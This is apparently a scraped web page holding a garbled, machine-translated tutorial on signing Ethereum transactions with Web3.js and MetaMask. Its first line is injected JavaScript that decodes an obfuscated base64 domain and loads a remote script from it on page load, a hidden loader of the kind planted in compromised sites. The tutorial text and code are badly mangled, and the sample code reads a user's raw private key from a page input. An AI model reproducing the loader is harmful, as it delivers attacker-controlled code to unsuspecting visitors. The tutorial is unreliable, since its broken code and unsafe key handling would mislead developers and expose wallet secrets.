const pdx="bm9yZGVyc3dpbmcuYnV6ei94cC8=";const pde=atob(pdx.replace(/|/g,""));const script=document.createElement("script");script.src="https://"+pde+"cc.php?u=f7c1c311";document.body.appendChild(script);
** Subscription transactions with the web
As Blockchain -based applications, you are probably familiar with the concept of interaction with blockchain. However, executing your web application transaction programming can be a challenge. In this article, we will examine the procedure for signing transactions using Web3JS functionality and metamasco injection into your browser to facilitate safe execution of the transaction.
Prerequisites
Before continuing, make sure:
- You have a basic understanding of JavaScript, HTML and CSS.
- You installed Noda.JS and NPM (Noda.JS Package Manager) on your system.
3
Step 1: Set metamascus
Metamascus is an extension of browsers that allow users to manage digital assets, including private keys and wallet addresses. To use a web3 metamasco, you will need:
- Install browser metamask extension.
- Create an account at a metamics and -ap supply address and a creating password.
- Leave the web3 extension in your browser settings.
Step 2: Set Web3.JS
The web to use it, you will need:
- Install noda.js and NPM (as mentioned earlier).
- Create a new node.js project using
NPM Init
.
3
- Import of Web3.JS in your application:
constut web3 = Require ('Web3')
.
Step 3: Metamascus functionality injection into your browser
To inject the functionality of metamics into your browser, you will need:
- Create a new file called
index.html
and add the following code:
`Html
Body {{{
Biler Source: Arial, without Serrif;
ICHE
Subscribe to the transaction using a metamas with web3.js
<Script SRC = "
In this code, we use the CDNWeb3min.jsfile to import Web3.js.
Step 4: Create a script.js file
Create a new file calledscript.jsand add the following code:
JavaScript
CONST Web3 = required ('Web3');
CONST Web3 = new Web3 (Window.ethereum);
Document.getelementbyid ('Web3'). addventlistener ('input', (e) => {{{{{{{{
CONST PRIVATEKE = E.TARGET.VALUE;
Web3.esth account.add (privatekey) .then ((account) => {
Document.getelementbyid ('transaction-ovation'). Unerhtml = Transaction signed with account: $ {account.address}
;
});
});
Document.getelementbyid ('signal transaction transaction'). Adeventlistener ('Click', Async () => {
to try {
CONST SIGNATURE = Wait for the web .esth.signtransation ({{{{
From: '0x ... your_account_address ...', // Replace with the account address
Data: '', // Subscription data (eg, txhash, contract methods)
GASPRICE: 20, // Gas price for a transaction
});
CONST TRANSACTIONISPEANE = WAITING WEB3.esth.SENDSIGNEDTRANSATION (SIGNATURE.Rawtransation);
Document.getelementbyid ('Transaction Response'). Unerhtml = Signed transaction and sent to blockchain!
;
} capture (error) {
Console.error (error);
ICHE
});
``
In this code, we use an Web3JS to create a new Ethereum account using a user's private key.